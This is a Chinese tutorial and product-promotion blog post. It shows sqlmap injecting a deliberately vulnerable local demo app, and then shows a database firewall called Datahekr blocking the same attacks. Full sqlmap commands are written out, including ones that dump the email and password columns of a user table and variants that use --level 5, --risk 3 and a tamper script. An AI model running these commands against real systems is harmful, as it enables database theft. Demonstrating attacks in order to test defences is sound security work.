使用Datahekr抵御SQL注入攻击

不只一次有人对我说: SQL注入已经过时了。 现在的WEB应用已经很难被注入了。

在下竟无言以对。还好最近看到一份针对乌云漏洞库的统计数据(https://zhuanlan.zhihu.com/p/21373306),感谢Python Hacker的工作。


数据从不说谎,统计结果可以明确的指出 SQL注入漏洞仍然是目前WEB应用中数量最多的漏洞。

在此文中,我们将演示如何使用sqlmap(http://sqlmap.org/)进行SQL注入,以及如何使用datahekr (www.datahekr.com)数据库安全防火墙来防御SQL注入攻击。


在开始之前,请大家移步(http://skylei.baijia.baidu.com/article/527712)并仔细查看该文章,了解进行漏洞发掘涉及到的法律风险及法律知识。

如果在查看了上述文章之后,你仍然想知道SQL注入知识及sqlmap的使用,那就让我们开始吧。


攻----------------

1. 为了避免不必要的法律风险,我们使用SpringMVC自行构建一个简单的web程序用于演示SQL注入攻击,,该程序使用Spring JdbcTemplate访问后台Mysql数据库,







2. 在此web程序中,故意暴露一个sql注入点,用于后续的注入测试。






3. 执行sqlmap命令,使用sqlmap爆数据库名称。


python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1"  --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y"  --dbs 





4. 使用sqlmap拿当前用户


python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y"  --current-user 




5. 拿所有表名


python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y"  -D "test" --tables 



6. 拿表中的字段名


python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y"  -D "test" -T "t_user" --columns 




7. 拿数据,俗称脱裤


python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y"  -D "test" -T "t_user" -C "id,email,password" --dump 




至此,由于一个SQL注入漏洞,导致后台数据库完美被爆, 

利用该漏洞,甚至可以上传脚本文件,进而控制服务器,具体信息请参考(http://www.freebuf.com/articles/222.html)


防----------------

在感受了sqlmap的强大之后,我们祭出SQL注入防护的秘密武器:Datahekr,试验sqlmap能否攻破Datahekr的保护层。


1. 在Datahekr的SAAS平台上配置并启动代理通道, 启动Datahekr代理程序 (具体步骤请免费注册Datahekr后参考文档)。 .






2. 使用Datahekr非常简单。不需要修改程序代码, 只需要简单的修改数据库连接URL即可。




3. 再次使用前面使用过的sqlmap命令对注入点进行攻击。但是在经过了一杯咖啡的等待后,只能得到如下的结果。

    sqlmap的攻击都被Datahekr阻止掉了,


python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y" --dbs 




python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y"  -D "test" -T "t_user" -C "id,email,password" --dump 



4. 发挥不屈不挠的精神,我们在sqlmap命令中加入 --level 5 --risk 3 参数。加大sqlmap的攻击力度到最高级别,再次对注入点发起冲锋。

    在经过了第二杯咖啡的等待后。sqlmap仍然没有能突破Datahekr的保护层。

python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --level 5 --risk 3  --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y"  -D "test" -T "t_user" -C "id,email,password" --dump 





5. 恼羞成怒,困兽犹斗,我们给sqlmap加上tamper再次进行攻击. (关于tamper的更多信息,请参考 http://www.freebuf.com/articles/1000.html)

    在经过了第三杯咖啡的等待后,sqlmap最后鸣金收兵,败下阵来。


python sqlmap.py -u "http://localhost:8080/sqlinject_demo/blogdetail_code.html?code=1" --level 5 --risk 3  --dbms "Mysql" --answers="extending=N,quit=N,follow=N,keep=N,try=Y,store=N,crack=N,do you want to use common=N,do you want to store hashes=N,it is not recommended=y"  -D "test" -T "t_user" -C "id,email,password" --dump  --tamper "equaltolike.py"




结论-------------------------

通过本文章。我们明确了SQL注入漏洞的危险程度,也见识到了sqlmap强大的注入功能。

更了解到了Datahekr强大的注入防护能力。


在后续文章中,我将向大家展示Datahekr的SQL审计功能。













评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值